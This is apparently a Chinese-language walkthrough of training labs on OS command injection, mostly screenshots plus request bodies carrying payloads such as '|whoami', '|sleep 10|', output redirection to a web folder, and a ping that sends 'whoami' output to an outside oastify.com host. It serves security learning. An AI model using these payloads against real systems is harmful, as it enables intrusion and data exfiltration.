操作系统命令注入,简单案例
![image-20221220152937770](https://img-blog.csdnimg.cn/img_convert/d02c77cf96f22c64b01b0c7231e8e73f.png)
![image-20221220155110475](https://img-blog.csdnimg.cn/img_convert/75a95b75280872c21710d10b91602cf0.png)
productId=3&storeId=2+|+whoami
![image-20221220155125190](https://img-blog.csdnimg.cn/img_convert/4bd824d2aae62ec292ac32f54eb01451.png)
具有时间延迟的盲操作系统命令注入
![image-20221220160652812](https://img-blog.csdnimg.cn/img_convert/3ca80d4accf4a0895dd3446ab625628b.png)
csrf=6MTK8ezPHaRvkb0SrUGDYuzvGsMIPlBT&name=1&email=|sleep+10|&subject=1&message=1
![image-20221220160827283](https://img-blog.csdnimg.cn/img_convert/1f7014f0d3a2654a21b503ce0b07145f.png)
带输出重定向的盲操作系统命令注入
![image-20221220162840497](https://img-blog.csdnimg.cn/img_convert/b9d9b8fc1c6ad58e0d7160d03922987e.png)
csrf=0RQvmPNElav5S2TjfXdN8AOIlFL7Rdb9&name=1&email=|whoami>>/var/www/images/output.txt|&subject=1&message=1
![image-20221220165058948](https://img-blog.csdnimg.cn/img_convert/a9cf53d2e0c065e69b68f77071bc067f.png)
![image-20221220164821632](https://img-blog.csdnimg.cn/img_convert/7ee6aead0bc1fad36ebdc252d9768878.png)
![image-20221220165049256](https://img-blog.csdnimg.cn/img_convert/d5e1556748e421f67fc9e6e42045e1f8.png)
带外交互的盲操作系统命令注入
![image-20221220170412957](https://img-blog.csdnimg.cn/img_convert/2a49302491b35b506322f50b11127c0d.png)
![image-20221220170930128](https://img-blog.csdnimg.cn/img_convert/fc360d703dcd50e1bc0780e26593e73d.png)
csrf=u3WKiY9ANqJGps5Sx4qbt4N2w1bHjQ24&name=1&email=|ping+m8vxmbxifw9lbikzy0wd52nmyd44sugj.oastify.com|&subject=1&message=1
![image-20221220170951576](https://img-blog.csdnimg.cn/img_convert/4e6f6fd76c7ee33217307148e39d33ba.png)
带外数据渗漏的盲目操作系统命令注入
![image-20221220171056234](https://img-blog.csdnimg.cn/img_convert/63d3a93bb4b6e95eb9ca82cff5fa1c7b.png)
![image-20221220171239000](https://img-blog.csdnimg.cn/img_convert/5d3d884b9029fee9ae1f713b4a415a90.png)
csrf=zFQDrjDaYRKIi4e25nqDp5fGJ7bFESpo&name=1&email=|ping+`whoami`.mndx1bciuwolqizzd0bdk22mddj47vvk.oastify.com|&subject=1&message=1
![image-20221220171325655](https://img-blog.csdnimg.cn/img_convert/3f8f7754d6318c46dd34cf2d64991066.png)